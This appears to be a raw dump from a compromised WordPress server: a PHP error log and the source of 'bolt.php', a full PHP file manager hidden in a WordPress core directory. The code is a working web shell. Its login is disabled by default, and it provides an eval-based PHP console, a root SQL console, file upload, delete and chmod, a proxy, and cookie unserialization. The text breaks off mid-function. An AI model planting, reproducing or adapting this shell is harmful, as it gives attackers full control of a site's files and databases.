[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
